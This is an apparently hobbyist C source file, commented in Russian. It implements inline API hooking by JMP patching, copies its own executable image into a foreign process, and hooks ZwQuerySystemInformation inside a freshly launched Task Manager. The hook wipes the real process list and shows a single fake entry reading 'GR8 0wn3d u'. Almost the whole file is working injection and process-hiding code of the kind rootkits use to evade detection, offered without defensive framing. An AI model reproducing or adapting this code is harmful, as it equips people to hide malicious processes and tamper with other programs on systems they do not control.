// ставим локальный хук
bool SetSplicingHook(void* pfnDst, void* pfnHook, UCHAR buffer[5])
{
	// проверка указателей
	if(IsBadWritePtr(buffer, 5) || IsBadReadPtr(pfnDst, 5)) return false;
	memcpy(buffer, pfnDst, 5); // бекап начала функции

	// разрешаем запись в страницу с кодом
	DWORD old = 0;
	if(!VirtualProtect(pfnDst, 5, PAGE_READWRITE, &old)) return false; // мы запрашиваем 5 байт, но на самом деле изменятся права доступа всей страницы сразу
	
	// ставим JMP FAR
	DWORD offset = (DWORD) pfnHook - (DWORD) pfnDst - 5;
	*(BYTE*)pfnDst = 0xE9; // JMP FAR
	*(DWORD*)((DWORD)pfnDst+1) = offset;

	// восстанавливает старые атрибуты страницы
	if(!VirtualProtect(pfnDst, 5, old, &old)) return false;

	// ништяк
	return true;
}

// снимаем локальный хук
void UnsetSplicingHook(void* pfnDst, UCHAR buffer[5])
{
	DWORD old = 0;
	if(!VirtualProtect(pfnDst, 5, PAGE_READWRITE, &old)) return;
	memcpy(pfnDst, buffer, 5); // восстанавливаем первые 5 байт из бекапа
	if(!VirtualProtect(pfnDst, 5, old, &old)) return;
}

// ставим хук на другой процесс
bool SetSplicingHookEx(HANDLE hProcess, void* pfnDst, void* pfnHook, UCHAR buffer[5])
{ // аналогично SetSplicingHook
	DWORD t = 0;
	if(!ReadProcessMemory(hProcess, pfnDst, buffer, 5, &t) || t!=5) return false;

	DWORD old = 0;
	if(!VirtualProtectEx(hProcess, pfnDst, 5, PAGE_READWRITE, &old)) return false;

	DWORD offset = (DWORD) pfnHook - (DWORD) pfnDst - 5;
	if(!WriteProcessMemory(hProcess, pfnDst, "\xE9", 1, &t) || t!=1) return false;
	if(!WriteProcessMemory(hProcess, (LPVOID)((DWORD)pfnDst+1), &offset, 4, &t) || t!=4) return false;
	if(!VirtualProtectEx(hProcess, pfnDst, 5, old, &old)) return false;

	return true;
}

// снимаем хук с другого процесса
void UnsetSplicingHookEx(HANDLE hProcess, void* pfnDst, UCHAR buffer[5])
{ // аналогично UnsetSplicingHook
	DWORD old = 0, t = 0;
	if(!VirtualProtectEx(hProcess, pfnDst, 5, PAGE_READWRITE, &old)) return;
	WriteProcessMemory(hProcess, pfnDst, buffer, 5, &t);
	if(!VirtualProtectEx(hProcess, pfnDst, 5, old, &old)) return;
}

// макросы для удобного объявления/установки/снятия хуков

// объявить хук
#define DECLARE_HOOK(RET, FUNC, PARAMS) UCHAR buf##FUNC[5]; RET x##FUNC PARAMS

int ErrMessageBox(int,char* e,int,int)
{
	char t[1024];
	FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError(), 0, t, sizeof(t), 0);
	return MessageBox(0, t, e, MB_ICONERROR);
}

// поставить локальный хук
#define SET_FUNC_HOOK(FUNC) if(!SetSplicingHook(FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK(FUNC) UnsetSplicingHook(FUNC, buf##FUNC);

// поставить хук на чужой процесс P
#define SET_FUNC_HOOK_EX(P,FUNC) if(!SetSplicingHookEx(P,FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK_EX(P,FUNC) UnsetSplicingHookEx(P,FUNC, buf##FUNC);

// ставим хуки по указателю

#define DECLARE_HOOK_LP(RET, FUNC, PARAMS) RET (WINAPI *lp##FUNC) PARAMS; UCHAR buf##FUNC[5]; RET WINAPI x##FUNC PARAMS

#define GET_HOOK_LP(MOD, FUNC) 	*(FARPROC*)&lp##FUNC = GetProcAddress(LoadLibrary(MOD), #FUNC);

#define SET_FUNC_HOOK_LP(FUNC) if(!SetSplicingHook(lp##FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK_LP(FUNC) UnsetSplicingHook(lp##FUNC, buf##FUNC);

#define SET_FUNC_HOOK_EX_LP(P,FUNC) if(!SetSplicingHookEx(P,lp##FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK_EX_LP(P,FUNC) UnsetSplicingHookEx(P,lp##FUNC, buf##FUNC);

bool TransferProgramEx(HANDLE hProcess)
{
	// получаем свою базу загрузки и освобождаем память в чужом адресном пространстве по этому виртуальному адресу
	HMODULE g_module = GetModuleHandle(0);
	VirtualFreeEx(hProcess, g_module, 0, MEM_RELEASE);
	
	// получаем свой размер EXE
	DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) + ((PIMAGE_DOS_HEADER)(g_module))->e_lfanew + 
		sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;

	// выделяем память под свое тело
	char *pMem = (char *)VirtualAllocEx(hProcess, g_module, dwSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(pMem == NULL) return FALSE;
		
	DWORD dwOldProt, dwNumBytes, i;
	MEMORY_BASIC_INFORMATION mbi;
	 
	// постранично копируем себя в выделенную память по тем же виртуальным адресам, что и здесь
	VirtualQueryEx(hProcess, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
	while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0)
	{
		if (!(mbi.Protect & PAGE_GUARD))
		{
			for (i = 0; i < mbi.RegionSize; i += 0x1000)
			{
				VirtualProtectEx(hProcess, pMem + i, 0x1000,PAGE_EXECUTE_READWRITE, &dwOldProt);
				WriteProcessMemory(hProcess, pMem + i, pMem + i, 0x1000, &dwNumBytes);
			}
		}
		pMem += mbi.RegionSize;
		VirtualQueryEx(hProcess, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));	
	}

	// все ок ;)
	return true;
}

typedef LONG    NTSTATUS;
typedef LONG    KPRIORITY;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#define STATUS_SUCCESS                   ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

#define SystemProcessesAndThreadsInformation    5

typedef struct _UNICODE_STRING {
    USHORT        Length;
    USHORT        MaximumLength;
    PWSTR         Buffer;
} UNICODE_STRING;

typedef struct _SYSTEM_PROCESSES {
    ULONG             NextEntryDelta;
    ULONG             ThreadCount;
    ULONG             Reserved1[6];
    LARGE_INTEGER     CreateTime;
    LARGE_INTEGER     UserTime;
    LARGE_INTEGER     KernelTime;
    UNICODE_STRING    ProcessName;
    KPRIORITY         BasePriority;
    ULONG             ProcessId;
    ULONG             InheritedFromProcessId;
    ULONG             HandleCount;
    ULONG             Reserved2[2];
//    VM_COUNTERS       VmCounters;
//    SYSTEM_THREADS    Threads[1];
} SYSTEM_PROCESSES, * PSYSTEM_PROCESSES;

DECLARE_HOOK_LP(NTSTATUS, ZwQuerySystemInformation, 
				(UINT SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength))
{
	UNSET_FUNC_HOOK_LP(ZwQuerySystemInformation);
	NTSTATUS ret = lpZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
	SET_FUNC_HOOK_LP(ZwQuerySystemInformation);
	if(ret != STATUS_SUCCESS)
		return ret;

	if(SystemInformationClass == SystemProcessesAndThreadsInformation)
	{
		PSYSTEM_PROCESSES pProcesses = (PSYSTEM_PROCESSES)SystemInformation;

		memset(pProcesses, 0, sizeof(SYSTEM_PROCESSES));
		pProcesses->NextEntryDelta = 0;
		pProcesses->ProcessId = 1;
		pProcesses->ProcessName.Buffer = L"GR8 0wn3d u";
		pProcesses->ProcessName.Length = 100;
	}

	return ret;
}

INT APIENTRY WinMain(HINSTANCE, HINSTANCE, LPSTR, INT)
{
	// стартуем exe'шник
	STARTUPINFO si = {sizeof(si)};
	PROCESS_INFORMATION pi = {0};
	if(!CreateProcess(0, "taskmgr.exe", 0, 0, TRUE, 0, 0, 0, &si, &pi))
		return MessageBox(0, "Cannot create process", 0, MB_ICONERROR);
	HANDLE hProcess = pi.hProcess;
	HANDLE hThread = pi.hThread;
	
	// ждем пока он запустится
	WaitForInputIdle(hProcess, 100);

	SuspendThread(hThread);

	// получаем адреса
	GET_HOOK_LP("ntdll.dll", ZwQuerySystemInformation);

	// ставим хуки
	SET_FUNC_HOOK_EX_LP(hProcess, ZwQuerySystemInformation);

	// переносим свою тушу
	if(!TransferProgramEx(hProcess))
		return TerminateProcess(hProcess, 0), MessageBox(0, "Cannot copy module", 0, MB_ICONERROR);

	ResumeThread(hThread);

	return 0;
}